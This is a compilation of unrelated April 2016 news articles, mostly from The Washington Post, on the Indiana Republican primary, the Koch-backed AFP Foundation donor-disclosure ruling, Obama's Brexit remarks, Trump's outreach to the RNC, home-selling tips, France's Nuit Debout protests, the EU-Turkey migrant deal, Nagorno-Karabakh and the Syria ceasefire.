Typically, teams of lawyers carry out the vetting process. The new report notes that in the age of social media, lawyers might not be the most skilled at plumbing the social-media activities of prospective candidates.

Online activity is a case where the expertise required to vet this space might exceed the in-house capacities of the campaign, the report states. Specialized consultant services would serve the campaigns interest in both thoroughness and expedition.

The final series of recommendations includes suggestions for notifying the running mate and those who were not picked and for the public rollout. The report says the new team should go slow in giving interviews to the media.

Even the most experienced vice presidential nominee will need several days of interacting with the campaign organization and the presidential nominee to get up to speed on all of the priorities of the nominee and of the campaign, before he or she is prepared to fully interact with the press.
Republican groups, leaders and candidates opposed to Donald Trump increasingly see the Indiana primary as a central front in their last-ditch efforts to stop him from clinching the GOP presidential nomination.

But fractures in the movement, and a clear lack of urgency among local Republicans to unite against Trump, are undercutting their ability to deliver the state.

With Trump poised to rack up more delegates in five Eastern states on Tuesday, Indianas May 3 primary is shaping up as a must-win for Sen. Ted Cruz (Tex.), who is attempting to win enough delegates to force a contested Republican convention in Cleveland. It also is one of the last, best chances for outside forces helping Cruz and Ohio Gov. John Kasich to slow the GOP front-runner.

Come the evening of May 3 or at the least the morning of May 4, I think we will know whether Donald Trump will be the presumptive nominee, said Pete Seat, an Indiana Republican strategist and consultant to Kasichs long-shotcampaign.

As they have been in other states, the anti-Trump groups here are riven by divisions over strategy and tactics, and are limited in their financial resources. Indiana marks at least the fifth contest that opponents have declared as the moment to stop Trump, from the Iowa caucuses in February to the Wisconsin primary early this month.

1 of 9 Full Screen Autoplay Close Skip Ad  Moments when Ted Cruz was more startling than Donald Trump View Photos Although Trump has voiced myriad eyebrow-raising positions, Ted Cruz has at times taken more surprising stances. Caption Although Trump has voiced myriad eyebrow-raising positions, Ted Cruz has at times taken more surprising stances. Cruz and Trump Ted Cruz, left, and Donald Trump. Left: Cassi Alexandra for The Washington Post. Right: Jabin Botsford/The Washington Post Wait 1 second to continue.

You go into war with the army that you have, said Rory Cooper, a senior adviser to NeverMeansNever PAC, which has endorsed Cruz in Indiana and plans to run digital ads here  even as it backs Kasich in some other states. Kasich and Cruz need to focus on their presidential campaigns. We have slightly different interests.

The Club for Growth, an anti-Trump group that supports Cruz, plans to make an investment in Indiana comparable to the $2 million it spent in Wisconsin, said David M. McIntosh, the former Indiana congressman who runs the organization. The groups first Indiana TV ad, which began airing Friday, focuses its attack on Kasich, arguing that a vote for the Ohio governor actually helps Trump, by dividing the opposition.

Pointing to Trumps blowout win in New York this past week, the Kasich campaign released a memo arguing that Never Trump forces missed opportunities to take on Trump by not engaging in any serious ways.

Cruz and his backers are hopeful that in Indiana, he can repeat the kind of victories he enjoyed in Iowa and Wisconsin, although there has been no reliable polling in the state. He campaigned at an Indianapolis deli Thursday afternoon and spoke at the state Republican Partys spring dinner Thursday night.

Indiana is going to be a battleground, Cruz said as he made his way through Shapiros Delicatessen downtown, where the owner hinted that he was a Kasich supporter. Later at the dinner, he promised to barnstorm the state and made an even more urgent plea: The entire country  her eyes on are on this state.

Recently, Cruzs father, Rafael Cruz, spent the better part of two weeks campaigning in the state. The pastor spoke to groups as small as 20 people, hoping to re-create the ripple effect with religious voters who boosted Cruzs campaign in Iowa and Wisconsin.

However, some of the factors that turned Wisconsin into a Cruz rout are missing in Indiana. Wisconsins GOP leaders, led by Gov. Scott Walker, a former 2016 presidential candidate, quickly coalesced behind Cruz. By the time Cruz and Trump started campaigning in the state, influential Wisconsin radio talkers had been pummeling Trump for months, making his brand toxic.

That isnt the case in Indiana, where radio hosts such as Indianapoliss Tony Katz and Fort Waynes Charly Butcher are more evenhanded when they talk about the primary.

To think that there is a massive or overwhelming anti-Trump sentiment in Indiana would be false, Katz said.

Rallying supporters at the state fairgrounds here this past week, Trump singled out Carrier, a manufacturer of air conditioners, for deciding to move jobs from Indiana to Mexico. He won cheers when he vowed, as he has many times before, that he would not allow such decisions to happen as president without hitting the company with a tax penalty.

Trump closed by raising the stakes of Indianas primary.

Youre going to go out and vote, and youre going look back at that vote  and youre going to say that was the single greatest and most important vote that youve ever cast, Trump said to applause.

Indianas elected Republicans have been straddling the fence. Gov. Mike Pence, who has not ruled out making an endorsement, met with Trump before his Wednesday rally and met with Cruz on Thursday. Sen. Daniel Coats and four congressmen endorsed candidates who have since quit the race; none have made a new endorsement.

Im an elected delegate now, and I take that job seriously, said Rep. Todd Rokita, who backed Sen. Marco Rubio (Fla.) and is now neutral. I havent endorsed anyone because I dont know anyone as well as I know Marco. So Im going to be getting information from everyone before we get to Cleveland.

Their reticence has frustrated Trumps foes.

My prediction is that the elected leaders will be wimpy in Indiana, McIntosh said.

Four years ago, Indianas tea party drew the blueprint for a unified conservative primary campaign. Hoosiers for a Conservative Senate, an ad hoc group of activists, met in person to endorse one candidate  then-State Treasurer Richard Mourdock  to challenge incumbent Sen. Richard G. Lugar (R). Mourdock won in a landslide, helped by the fact that no one else was splitting the vote.

There is no similar teamwork in 2016.

I met Ted Cruz personally; a lot of us activists have, said Greg Fettig, a state legislative candidate and leader of Hoosiers for a Conservative Senate. That being said, a lot of the activists are Trump all the way. Id be okay with either one, Trump or Cruz. And lets just say that my wife and I didnt vote for the same candidate.

Further muddling the picture is Kasich. His allies see similarities between him and Mitch Daniels, the popular former Indiana governor, that could boost him in parts of the state. And his campaign has expressed confidence that Indianas delegates would look upon his candidacy favorably if the convention goes to a second ballot.

It has been 40 years since a Republican presidential primary lasted long enough to run through Indiana. In 1976, the state went for Ronald Reagan over President Gerald R. Ford by 16,266 votes out of more than 630,000 cast.

Today, about 40 percent of the primary votes come from greater Indianapolis, where Trump and Cruz kicked off their efforts.

Trumps campaign is setting high expectations.

Trumps going to win Indiana by big numbers, said Rex Early, a former Indiana GOP chairman who is leading Trumps statewide campaign. At the very least, he will take eight out of the nine districts.

Weigel reported from Washington.
David Koch serves as chairman of the Americans for Prosperity Foundation, which will not have to turn over its donor list to the California attorney general. (Chip Somodevilla/Getty Images)

A charitable group backed by the Koch brothers has won the right to withhold a list of its donors from the California attorney general in a case that could test the ability of government agencies to compel nonprofits to disclose information about their supporters.

In his Thursday ruling, U.S. District Judge Manuel L. Real wrote that forcing the Americans for Prosperity Foundation to submit a list of its contributors to a state registry would chill its donors rights to anonymous speech, even though the information is supposed to be kept confidential.

Reals decision did not invalidate the state rule requiring nonprofit groups to submit donor lists, which has been upheld by the U.S. Court of Appeals for the 9th Circuit in a separate case. But he wrote that it was unconstitutional as applied to the AFP Foundation, noting that the organizations officials and donors  including billionaire conservative benefactors Charles and David Koch and their families  have been subject to harassment and death threats.

The possibility that the foundations filing with the state could be made public places donors in fear of exercising their First Amendment right to support AFPs expressive activity, Real wrote.

California Attorney General Kamala Harris plans to appeal the ruling to the 9th Circuit, and legal experts say the case could eventually reach the Supreme Court.

We are disappointed, Harris spokesman Kristin Ford said in a statement, adding that the donor list that nonprofits must file with the office is a long-standing requirement that has helped Attorneys General for more than a decade protect taxpayers against fraud.

Mark Holden, general counsel for Koch Industries, called the decision a victory for First Amendment rights.

It reaffirms what Ive always believed, that there is a right to anonymous free speech and free association and that officials like Attorney General Harris dont have the right to demand this information absent a compelling interest, he said.

The ongoing legal fight could end up affecting states that have sought more information about the backers of politically active nonprofits, which have proliferated since the Supreme Courts Citizens United decision in 2010.

[How ghost corporations are funding the 2016 election]

Supporters of more-robust disclosure argue it is needed to give the public information about who is trying to influence campaigns. Conservatives have resisted such efforts, saying that donors to nonprofit groups often fear retaliation.

I think this has fairly large implications for the ability of states to keep expanding disclosure laws, said Bradley Smith, chairman of the Center for Competitive Politics, which has challenged the constitutionality of Californias rule.

Hes hopeful that the 9th Circuit may now reconsider his organizations case.

The big holding here is youve got to show a real legislative reason for wanting this, Smith said. It really does go to this idea of, how much does privacy matter? Is it enough that government wants the information and might have some need for it for some indeterminate reason in the future?

Erwin Chemerinsky, a constitutional expert and dean of the University of California at Irvine School of Law, said the case may end up before the Supreme Court. He noted that while the First Amendment allows for anonymous speech, its not an absolute right.

I think the district court underestimated the importance of the government having this information and overestimated the harm, Chemerinsky said.

The AFP Foundation had filed its annual paperwork with the state of California for nearly a decade without providing its donor list. But in 2013, the attorney generals office told the group that its filing was incomplete because it did not include an unredacted copy of its Schedule B, a list of all of its donors who gave more than $5,000 the previous year.

Holden said the organization believed the move was political, aimed at the Kochs because of their support for conservative causes.

We felt we were being singled out and targeted, he said.

[Americans for Prosperity plows millions into a conservative ground force]

State officials rejected that, saying the rule applies to thousands of charities that register in California. But Real concluded that the attorney general could not show how Schedule B forms assist in its investigations.

The judge also pointedly chided Harris for her offices handling of the confidential documents. He noted that AFP found 1,400 Schedule Bs publicly available on the attorney generals website, including a list of donors to Planned Parenthood.

While human error can sometimes be unavoidable, the amount of careless mistakes made by the Attorney Generals Registry is shocking, he wrote.

Real also said there was ample evidence that AFPs employees and donors have been subject to threats and intimidation. A security contractor working inside AFPs headquarters in 2013 posted online that he was inside the belly of the beast and could walk into the office of chief executive Lucas Hilgemann and slit his throat, Hilgemann testified. North Carolina retail executive Art Pope, a major donor to the group, told the court that he considering halting his funding for the groups after his stores were picketed and boycotted. And Holden testified that there had been death threats made against both the Kochs, as well as their grandchildren.
President Obama descends to the tarmac from Air Force One after landing at Stansted Airport in London on Thursday. (Jim Watson/AFP/Getty Images)

President Obama weighed in on one of the United Kingdoms most contentious political issues Friday, urging Britain to remain part of the European Union and warning that a withdrawal would diminish British influence on the world stage.

The president made his case at a news conference with Prime Minister David Cameron at his side and in a surprisingly frank editorial in Londons Daily Telegraph.

The European Union doesnt moderate British influence  it magnifies it, Obama wrote. A strong Europe is not a threat to Britains global leadership; it enhances Britains global leadership.

The editorial and the news conference with Cameron plunged Obama into the middle of an emotional debate inside Britain only two months before the countrys June 23 referendum on E.U. membership.

[Breaking down the choices for Britain]

It is highly unusual for a U.S. president to weigh in on the internal affairs of an ally so close to voters going to the polls, a fact that Obama acknowledged in his editorial. I realize that theres been considerable speculation  and some controversy  about the timing of my visit, he wrote. But Obama argued that the special relationship between the United States and Britain demanded unusual honesty.

Obama sounded dire warnings about the consequences of a British exit from the European Union that to many may have sounded like threats.

If Britain severed ties with the E.U., Obama said, it would be at the back of the queue for a trade deal with America. There might be a U.K.-U.S. trade agreement, but its not going to happen anytime soon because our focus is in negotiating with a big block, the European Union, Obama said.

In other moments the president tried appeals to Britons better angels, saying he understood the instinct at a time of worries about terrorism and massive refugee flows to want to pull up the drawbridge on the rest of the worlds problems.

But he expressed confidence that citizens in Britain and the United States would rise above those baser fears. The ties that bind Europe together are ultimately much stronger than the forces that are trying to pull them apart, Obama said.

Even before Obama arrived in Britain, Boris Johnson, Londons mayor, accused the president of hypocrisy on the issue. Johnson, who is in favor of leaving the European Union, told the BBC that the United States wouldnt dream of sharing [its] sovereignty.

Obama, who came to London from Saudi Arabia, marked the beginning a three-day visit to Europe at an especially difficult moment for the continent, which faces a slow economy, refugees pouring across its borders and a growing terror threat.

He is expected on Monday to deliver a major speech in Germany on the problems facing Europe, its critical role in the world and its path forward.

Obama has been critical of Americas European allies, suggesting recently in an interview with the Atlantic that Cameron and his European partners became distracted after the NATO-led intervention in Libya and didnt do enough to bring stability to the country. He has suggested that some European countries are free riders for depending too heavily on the United States to provide for their defense.

A cold-eyed view of allies has left Obama with few overseas friends

Despite those criticisms, Obama remains very popular among the British people and throughout Europe. His decision to visit London so close to the referendum came at the request of Cameron, who has been a forceful and, of late, more embattled advocate for remaining in the 28-nation bloc.

Cameron spoke repeatedly of his respect for Obama and emphasized that the president was acting on his own accord to preserve American interests and strengthen the special relationship that the United States and Britain share.

I dont have some special power over the president of the United States, Cameron said. To me it is simple: stronger Britain, stronger special relationship. That is in our interests, and that is in the interest of the U.S. as well.

Even though Obama has been outspoken in his support for Britain staying in the European Union, analysts urged him to tread lightly on his visit. This is an emotionally charged discussion, and it really does not respond to calm, rational logic, said Heather Conley, a senior European analyst at the Center for Strategic and International Studies in Washington.

Conley said the president should weigh in but avoid being part of the story. Do not exacerbate the tensions surrounding the referendum, she warned.

Prior to Obamas arrival in London, senior administration officials suggested that Obama would heed that advice.

[The queen wants out? A British tabloid claims she does.]

His approach will be that if hes asked his view as a friend, he will offer it, but hell make very clear that this is a matter that the British people themselves will decide, Ben Rhodes, a deputy national security adviser, told reporters before the trip.

With his editorial in the Daily Telegraph, Obama seems to have decided that the stakes were too high for him to take a lower-profile approach.

Obama chose a Conservative-supporting newspaper, which hasnt taken a stand on the E.U. referendum, to appeal to Conservatives and others seen as crucial swing voters in the referendum.

Obama praised Britains leadership in helping to secure a major global agreement to address climate change last year and its efforts to reach a deal with Iran to prevent Tehran from acquiring a nuclear weapon.

Such international efforts, with the European Union playing a leading role, are essential to peace, prosperity and international order, Obama wrote.

Today, we face tests to this order  terrorism and aggression; migration and economic headwinds  challenges that can only be met if the United States and the United Kingdom can rely on one another, on our special relationship, and on the partnerships that lead to progress, Obama wrote in the Telegraph.

The terrorist attacks in Paris and Brussels, in particular, have exposed big gaps in intelligence sharing among European countries. Obama argued that a unified counterterrorism partnership that spanned Europe is essential to keeping the continent safe.

Now is a time for friends and allies to stick together, he added.

The president had lunch Friday with Queen Elizabeth II at Windsor Castle to celebrate her 90th birthday, which Obama jokingly suggested was his real reason for his visit.

I confess: I do want to wish Her Majesty a happy birthday in person, he wrote.
Tehran signed a deal with an American company to export its excess heavy water supplies to US, Head of Iran's Foreign Ministry Headquarters to Monitor Joint Comprehensive Plan of Action (JCPOA) Abbas Araqchi said on Friday, according to Irna.



Araqchi, who is in Vienna to attend talks with the EU on formula for the third Iran-G5+1 joint commission meeting, said the Iranian delegation had signed the deal with a US company on Friday.



It was three months that Iran was negotiating a commercial contract and finally today, the Iranian delegation singed a deal to sell as much as 32 tons of Iran's excess heavy water supplies to a US company, he underlined.



Araqchi added that some other countries have voiced interest to buy heavy water from Iran.



Iran is negotiating with some other sides for export of heavy water, the deputy foreign minister noted.



Export of heavy water supplies to the US is a major step for Iran which is expected to take the country toward commercialization of its nuclear energy program.
Republican front-runner Donald Trump's chief strategist Paul Manafort spoke to members of the Republican National Committee in Hollywood, Fla., at a closed-door briefing on April 21. The Washington Post obtained an audio recording of the meeting. (TWP)

Republican front-runner Donald Trump's chief strategist Paul Manafort spoke to members of the Republican National Committee in Hollywood, Fla., at a closed-door briefing on April 21. The Washington Post obtained an audio recording of the meeting. (TWP)

Out on the campaign trail, Donald Trump relishes his feud with his own party. He threatened to sue the Republican National Committee. He called its nominating system rigged, deceptive and a disgrace. And he has suggested he might try to depose the party chairman.

But as RNC members gathered at a palatial beach resort here this week, Trumps aides launched an urgent effort aimed at rebranding the moguls persona and thawing hostilities with the skittish party elite.

We need unity as soon as possible, said Ed Cox, the New York party chairman and a Trump supporter.

Yet while the charm offensive has made some progress, interviews with dozens of GOP officials here showed that the celebrity billionaire still has to overcome a host of lingering concerns  both about his loyalty to the party as well as his discipline and electability as a candidate.

Were the ones that built this party, said Jonathan Barnett, a national committeeman from Arkansas. You see so many states where they have never reached out or built an organization. . . . Remember, were good people. Were the grass roots. Weve been around a long time. And Trump needs us.

Trumps top campaign aide, Paul Manafort, assured RNC members here that Trump views the party leadership as partners, both in raising money and crafting a state-by-state strategy, and that his hot rhetoric has been a part that hes been playing and will soon give way to a more presidential demeanor.

He gets it, Manafort told RNC members in a closed-door briefing Thursday.

[Trump is playing a part and can transform for victory, aide says]

Some members were skeptical of Manaforts pitch.

Trump keeps saying that hes going to be so presidential that hell put you to sleep, said Jose Cunningham, chairman of the District of Columbia GOP. He loves to say that. His people say hell do that, have that demeanor. Id still like to see that because, well, we havent.

Trump himself is taking steps to repair relations. RNC Chairman Reince Priebus called the billionaire mogul on Wednesday to congratulate him on his blowout victory in the New York primary.

We had a great talk, no problem, Priebus said in an interview. Donald Trump is conciliatory. You notice he hasnt been saying RNC lately. He hasnt been saying that lately. He certainly hasnt been talking about me lately.

The Fix's Chris Cillizza breaks down what's at stake for Democrats and Republicans in the upcoming April 26 primaries. (Peter Stevenson/The Washington Post)

Priebus acknowledged that there probably are political benefits for Trump to rail against the process and use the RNC as a foil.

Theyve made a calculation somehow that it works, ginning people up over accusations that the delegate selection process is rigged, Priebus said. I dont think they would be doing it on a lark.

Priebus said that the process is not skewed against Trump: Nothings rigged, just like nothing was rigged in New York when the top vote-getter got 60 percent of the vote but received 90 percent of the delegates.

Trumps rhetoric fits into his broader playbook to run against what he sees as corruption across the economic and political spectrums. Manafort said in an interview that Trumps portrayal of the GOP nominating rules is no different than the rigged economy, the rigged banking system.

It fits into the whole narrative of the system is broken and certain types of establishment situations dont meet the expectations of people, he said.

[Its on: Tensions between Trump and the GOP escalate in public fight]

For much of the campaign, the Trump operation seemed to alienate, even shun party officials who are accustomed to courtship by candidates.

Many officials took particular umbrage at Trumps on-and-off public flirtation with ousting Priebus.

Stop the attacks on Reince and the RNC leadership, South Carolina GOP Chairman Matt Moore said. Reince is the best chairman, I think, in the partys history, and there is no question that he is the guy to lead us into the general election. Any discussion about a new chairman is completely stupid.

On that point, Manafort said, This discussion over the last few weeks has not been an anti-Reince campaign.

Trump has been outfoxed by his chief Republican rival, Sen. Ted Cruz of Texas, at state conventions and other gatherings where delegates to the national convention are selected. Manafort said Trump is not seeking to upend the existing rules but believes the system lacks transparency and is trying to lay the groundwork for changes in future years.

Cruz and Ohio Gov. John Kasich addressed the RNC this week. Also present were leaders of Our Principles PAC, an anti-Trump super PAC, who huddled privately with some members Friday. The groups chairwoman, Katie Packer, distributed a memorandum urging party leaders to do everything possible to stop Trump from locking up the nomination.

It is not too late, Packer wrote. You are under no obligation to wrap your arms around a candidate who has not won a majority of GOP votes, or a majority of delegates, and perhaps wouldnt even be the frontrunner had the original field been much smaller.

Yet in hallway chatter here, there was a growing sense of resignation about Trump as the nominee.

I sense that everybody has come around to the position that what we choose is what we choose and that to have an opponent to Hillary Clinton, you take what you got and you run with it as fast as you can, said David Norcross, a former RNC general counsel.

[Is it too late for a Donald Trump makeover?]

The conversations in Florida come amid a revamping of Trumps campaign. Manafort said Trump is assembling teams of communications specialists, schedulers, policy advisers, speechwriters, researchers and liaisons to Capitol Hill, think tanks and other GOP power centers  all traditional campaign elements that had been lacking in Trumps shoestring structure.

We couldnt run a general election with eight people, Manafort said.

Manafort suggested that the individuals who have been appearing on cable television shows as Trump representatives will begin playing smaller roles as he asserts control over what he called the narrative.

Now were transitioning, Manafort said. Hes trying to be the nominee, and people want to see the entire package.

Among the newest members of Trumps team is Rick Wiley, who is well known to RNC members, serving as the committees political director in 2012. When he addressed RNC members on Thursday, Wiley sought to emphasize those connections and went out of his way to praise the work of the committees staff under Priebus.

Wiley said the party and its nominee would be fully committed to waging a successful fall national campaign. Arguing that the RNC had adapted the organizing model developed by the 2008 Obama campaign, he added, We are going to inherit a field program second to none.

In his presentation, Wiley addressed worries among many Republicans that Trump as the nominee could lead the party to a catastrophic defeat in the fall, one that could put its Senate majority at risk and cost Republicans House seats.

Youre going to see this map expand, he said, contending that Trumps potential appeal to Reagan Democrats  working-class white voters  could make states in the upper and industrial Midwest that long have been in the Democrats column competitive in the fall.

If were playing in these states and were winning in some of these states and the Democrats are playing and having to spend money in those states, he said, its a good thing for us, its a good thing for the party.
Thinking about selling your home? Based on a data analysis, here are some strategies to sell your home fast and for the most money possible:

Whats the best day to put my house on the market?

Thursday. Homes that hit the market Thursday typically sell faster and for more money, with almost one in five getting above the asking price. Homes listed on Thursdays in April do even better, with 21 percent going for above the asking price. Redfins analysis found that a typical $500,000 house will fetch about $2,830 more if its listed on a Thursday instead of a Sunday. Yet only 18 percent of sellers list Thursday.

Homes listed toward the end of the workweek tend to fare the best overall, and homes listed on Saturday, Sunday or Monday perform worst. Why?

Well, buyers start making their weekend plans to tour homes at the end of the workweek, helping those newly listed homes make a strong opening weekend debut. If the property is desirable, the agent may set an offer deadline on the following Tuesday or Wednesday. That strategy can often lead to a bidding war, which can net the seller more.

[Selling your house? Dont always accept the highest offer  and other tips to follow.]

Professional photos of your home are worth the investment. (Redfin)

Are professional photographs worth it?

Yes. Most buyers will first see your home online and will make a quick decision based on the photos whether to tour it in person. Without good photos, you may be turning off buyers before they even get inside your home.

Our analysis found that homes with photos taken using a professional camera typically fetch more money and sell faster. Sellers who used a high-quality camera and lenses for their listing photos got an average of $3,400 more for their properties. Professional photos help sell homes faster, too. Homes priced between $400,000 and $499,999 sold three weeks faster when photographed with a professional camera.

Although smartphone and point-and-shoot cameras have come a long way, they fall short when it comes to real estate photography. A professional will understand how to compose a shot to showcase your homes features. Professional photographers know how to maximize light and take wide-angle shots to capture a full room. They also have the right lenses to better capture smaller spaces such as bathrooms.

[Selling your house? Two is the magic number for a big tax break.]

How should I price my home?

Just right. Testing the waters with a higher price is self-defeating, because homes get five times more online views the day they hit the market than they do a week later. If buyers dismiss your home as overpriced early on, they might never come back. And a home that sits on the market gets stale.

Even if you drop the price later, youve missed a critical window for getting buyers attention. New listings get almost twice as many views on Redfin.com the day they hit the market than the day a price is lowered.

When youve had a higher price and you drop it, the buyer will start wondering whats wrong with it. If you price a home higher than what its likely to sell for, thats a warning sign to all the buyers. I always encourage people to price honestly.

Real estate data gives sellers the best strategies on how to market their homes. (Redfin)

Do open houses make

a difference?

The answer is, not really. Open houses seem like a great way to get attention and get people through the door, but they rarely lead to a higher price or quicker sale. In Washington, we found that of homes that had an open house, 18 percent sold above the asking price, while 19 percent of homes that didnt have an open house sold above the asking price.

[Dos and donts for people who want to sell their house fast]

However, timing matters. Homes held open within a week of being put on the market do fetch higher prices and sell more quickly. However, we dont know whether that is related to the open house itself or to the fact that the home had a strong overall debut. If the agent feels the home is desirable, she might be more likely to hold it open the first weekend. An open house a few weeks after the home has been listed can be a sign that the property isnt getting much interest.

When you plan to put your home on the market, know that the first few days and the first weekend especially can be hectic with buyers coming through. It can be helpful to have an open house, just from the perspective of giving people a window of time to see your home without having to make an appointment or schedule with their real estate agent.

Whats our take? If you want to have an open house, go for it, but try to do it the first weekend. If you dont want to have an open house, dont sweat it. Just make sure you allow buyers opportunities to come and take a look.

Marshall Park is a real estate broker at Redfin in Virginia who writes an occasional column on the local real estate market.
A fire eater performs on the Place de la Republique in Paris during the Nuit Debout (Stand Up at Night) movement against the French governments proposed labor reforms on April 21. (Thomas Samson/AFP/Getty Images)

The word they use is agora, the Greek term for a citys social and political heart.

Since March 31, hundreds of thousands of predominantly young protesters have transformed city squares across the country into spaces where a growing social movement known as Nuit Debout, or Stand Up at Night, hopes to establish a new agora for France.

Most of these young people have taken to the streets in response to the French governments proposed labor reforms, which would make it easier for employers to fire employees and challenge Frances famous 35-hour workweek.

But Nuit Debout  rivaling the French student riots of 1968 in numbers, if not fervor  is not a response to a particular policy, even if it may have been inspired by one. It is more general, a sprawling, impromptu, mostly nonviolent grass-roots movement without a clearly articulated program.

In a sense, the demonstrations are Frances version of Occupy Wall Street, an inchoate, amorphous rejection of what members call an unacceptable status quo.

A man waters flowers at Place de la Republique in Paris, the location of a protest by the Nuit Debout movement against the governments proposed labor reforms on April 19. (Philippe Lopez/AFP/Getty Images)

But if Nuit Debout is an initiative fundamentally concerned with French politics and society, it has also welcomed those who take issue with similar themes in their own countries. This week, for instance, thousands applauded as Yanis Varoufakis, the Greek finance minister, spoke to protesters in Paris.

[French Senate effectively kills controversial nationality law]

For Galatee de Larminat, 17, a high school student who lives in the area, the point is to found a real democracy.

Not a representative democracy, she said Monday, but a direct democracy that relies on citizen assemblies  a popular assembly, in fact. In the last two weeks, she says she has come 10 times to Pariss Place de la Republique, the unofficial epicenter of the movement. She usually stays for hours at a time.

More specifically, there is also the sense among many protesters that the French government, under Francois Hollande, a Socialist, has betrayed the leftist cause in the aftermath of the terrorist attacks in January and November 2015.

For many in this camp, the proposed labor reforms and the decheance de nationalite  a proposal to strip French nationality from dual citizens convicted of terrorism  were flagrant violations of party values. For others, the state of emergency that Hollande declared after the attacks has merely increased the powers of police to surveil the population.

Its not at all a leftist government, said Maxime Tant, 27, who works in an art museum in Paris. This is not the socialism of Jean Jaures.

The crowd listens to a speaker at the Place de la Republique in Paris during the Nuit Debou movement on April 20. (Philippe Lopez/AFP/Getty Images)

What we have right now is not a democracy but a representative system thats just aristocratic. A representative system is just that: representation. But a real democracy is power of the people by the people.

The Socialist Party right now, said de Larminat, is basically a party of the right.

The movements leftist orientation has at times overshadowed its identity as a democratic, universal conversation. Last Saturday night, for instance, Alain Finkielkraut, a prominent French philosopher with conservative views, was heckled and harassed by some protesters as he entered the Place de la Republique.

For most of those gathered in Paris, the square is a profound symbol because of its nominal connection to the idea of French revolution, the lifeblood of French history  and, to some extent, French public life  after 1789. In the center of the square, a 19th-century statue of Marianne towers over passersby: The avatar of the French Republic, she is the secular patron saint of a state that knows no god.

But the large square is ultimately where Parisians have chosen to express solidarity. It was here that they marched after the attacks on Charlie Hebdo in January 2015 and created a de facto memorial after the attacks on Nov. 13 that left 130 dead across the city. If it is still a site of public grief, the square is also now where nearly 3,000 people gather every night to discuss, debate and drink.

Every night, there are speeches, demonstrations and sit-ins. There is an area designated for drafting a new French constitution, but there is also a Nuit Debout bookstore and even a Nuit Debout falafel stand.

[France may pass a law allowing people to ignore work emails at home]

For Bernard Vatrican, 70, a sociologist, this is the difference between the agora of 2016 and the riots of 1968.

A student in Nice in 1968, Vatrican said he took part in the protests in that year, in which fellow students stormed their universities and caused a general strike that essentially shut down the country for an entire month.

The revolt then was a revolt against a mode of life, and a revolt of innumerable ideologies. There was the conflict between the Marxists and the Communists, the Trotskyists and the Maoists, the anarchists, et cetera, he said Monday in the Place de la Republique.

What strikes me today is that even though theres a little bit of that, the majority of people Ive heard in the last few days are much more tolerant. They listen, they discuss, and what they try to do is construct rather than destruct.

Nuit Debout began on March 31 and, at least in Paris, has continued even after authorities tore down some temporary structures that protesters built last week.

Read more

Humanitarian groups accuse French authorities of brutality against migrants

Europes harsh new message for migrants: Do not come

Why a new citizenship law in France has outraged the French left

Todays coverage from Post correspondents around the world
German Chancellor Angela Merkel will try to soothe tensions over a deal meant to stem the flow of migrants to Europe when she visits Turkey this weekend.

The pact, which came into force three weeks ago, aims to help end the chaotic arrival of migrants and refugees on the Greek islands, many of whom are fleeing war and poverty in the Middle East and Africa. More than 1 million reached Europe last year.

The deal initially slowed the number of arrivals to Greece sharply, but boats have been coming again with about 150 people a day, the International Organization for Migration said.

On Saturday, Merkel and European Council President Donald Tusk will travel to Gaziantep, near the Syrian border, where they are to visit a refugee camp and meet Turkish Prime Minister Ahmet Davutoglu.

There is much at stake for both sides. Merkel lobbied skeptical European partners to back the deal, under which Turkey agreed to take back migrants who cross the Aegean Sea illegally. The deal also calls for Turkey to show political progress at home.

Refugees sit on the ground eating at the makeshift camp of the Greek-Macedonian border near the village of Idomeni Wednesday. (Daniel Mihailescu/AFP/Getty Images)

Davutoglu sold the deal to the Turkish public partly on the basis that Turks would win quicker visa-free travel to Europe in return, a pledge that now could go unfulfilled  at least by the June deadline he wanted.

Turkey wants support in easing the refugee burden  both financial support and in terms of numbers. And they want visa liberalization. We have other interests, a Merkel aide said. Ultimately, it will depend on both sides fulfilling the criteria they need to. If that doesnt happen, the deal wont work.

Rights groups have questioned the legality of the deal, which hinges on Turkey being a safe country of asylum. Amnesty International said that Turkey has illegally returned Syrians to their war-torn homeland, an accusation Ankara denies.

Under the deal, Ankara gets more European Union funding for refugees living on its soil and the revival of long-stalled E.U. accession talks, as well as quicker visa liberalization, the main prize in the eyes of many Turks.

Brussels aims to propose waiving visas for Turks on May 4, but that is strongly opposed by some E.U. member states. Ankara now meets just under half of the 72 conditions for visa-free access.

This is clearly shaping up to become a problem. We are talking about some criteria, while they seem to think they, in fact, already got visa-free travel, said one Brussels diplomat.
Russian Foreign Minister Sergey Lavrov urged the sides of the Nagorno-Karabakh conflict on Apr. 22 to continue peaceful talks against all odds as the conflict has no military solution, international news agency Sputnik reported.

"I understand it is hard to return to the negotiating table...But if we make just a tiny step forward in the political process... it would help prevent future flare-ups," Lavrov said in Yerevan, Armenia.

Speaking after a meeting with Armenian President Serzh Sargsyan, Lavrov said both countries did not support calls for alternatives to the OSCE group.

"We agree... that the troika of co-chairs should be the key coordinator in line with the mandate that was backed by the [conflicting] parties," Lavrov stressed.

On the night of April 2, 2016, all the frontier positions of Azerbaijan were subjected to heavy fire from the Armenian side, which used large-caliber weapons, mortars and grenade launchers. The armed clashes resulted in deaths and injuries among the Azerbaijani population. Azerbaijan responded with a counter-attack, which led to liberation of several strategic heights and settlements.

Military operations were stopped on the line of contact between Azerbaijani and Armenian armies on Apr. 5 at 12:00 (UTC/GMT + 4 hours) with the consent of the sides, Azerbaijan's Defense Ministry earlier said. Ignoring the agreement, the Armenian side again started violating the ceasefire.

The conflict between the two South Caucasus countries began in 1988 when Armenia made territorial claims against Azerbaijan. As a result of the ensuing war, in 1992 Armenian armed forces occupied 20 percent of Azerbaijan, including the Nagorno-Karabakh region and seven surrounding districts. The 1994 ceasefire agreement was followed by peace negotiations. Armenia has not yet implemented four UN Security Council resolutions on withdrawal of its armed forces from the Nagorno-Karabakh and the surrounding districts.
Fresh air raids and deadly clashes across Syria are threatening to unravel the countrys already fragile cease-fire, activists and rights monitors said Friday. The renewed fighting comes as peace talks brokered by the United Nations also are on the verge of collapse.

Airstrikes on rebel-held areas of Aleppo killed at least 19 people Friday, some of the deadliest raids since a cessation of hostilities took hold in late February, activists said. Government strikes also reportedly killed civilians in the nearby province of Idlib.

The reports come a day after Staffan de Mistura, a U.N. special envoy, told Radio Television Suisse in Geneva, the site of the talks, that the Syrian war has killed about 400,000 people, a figure far higher than previous U.N. estimates of 200,000 to 250,000.

